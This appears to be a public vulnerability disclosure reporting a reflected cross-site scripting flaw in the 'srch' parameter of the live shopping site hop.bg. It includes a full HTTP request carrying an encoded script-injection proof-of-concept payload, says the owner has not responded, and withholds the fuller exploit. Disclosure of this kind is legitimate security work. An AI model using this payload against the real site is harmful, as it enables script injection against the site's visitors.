## Titles: hop.bg | web app | Cross-site scripting (reflected) ## Author: nu11secur1ty ## Date: 11/03/2025 ## Vendor: https://hop.bg/ ## Software: https://hop.bg/ ## Reference: https://portswigger.net/web-security/cross-site-scripting ## Description: The value of the `srch` request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload lifmu</script><script>alert(1)</script>nkt8b was submitted in the `srch` parameter. This input was echoed unmodified in the application's response. The owner of this web app is not responding to the already reported problem. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. STATUS: HIGH- Vulnerability [+]Payload: ``` GET /bg/tyrsene-123?p=123&l=1&srch=gq7ns%3c%2fscript%3e%3cscript%3ealert(1)%3c%2fscript%3ein737&submit_search= HTTP/1.1 Host: hop.bg Cache-Control: max-age=0 Sec-CH-UA: "Chromium";v="141", "Not;A=Brand";v="24", "Google Chrome";v="141" Sec-CH-UA-Mobile: ?0 Sec-CH-UA-Platform: "Windows" Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: close Cookie: Public=3l4neblt0r1q8tl8r1j8vm1kg2; l=1; _gcl_au=1.1.1810943222.1761893757; _fbp=fb.1.1761893757009.110679894202803572; _tt_enable_cookie=1; _ttp=01K8WGTCHG0MT2MTV43EPDVPSH_.tt.1; _uetsid=a6fe2700b62611f0ba2e15757049e30e; _uetvid=a6fe6880b62611f0a84c27f8eba50d96; ttcsid=1761893757500::mkwLVMcL6Tixw1dD6Twz.1.1761893767648.0; ttcsid_D0S5A7RC77U1EAH3MNBG=1761893757499::8I3zM_RSsJeOcW0e8fgM.1.1761893767648.0 Upgrade-Insecure-Requests: 1 Referer: https://hop.bg/ ``` [+]Exploit: ``` Not showing for security reasons ``` ## Reproduce: [href]("Not showing for security reasons") ## Demo PoC: [href](Not showing for security reasons) ## Time spent: 01:27:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ home page: https://www.nu11secur1ty.com/ and https://www.asc3t1c-nu11secur1ty.com/ nu11secur1ty <https://nu11secur1ty.blogspot.com/>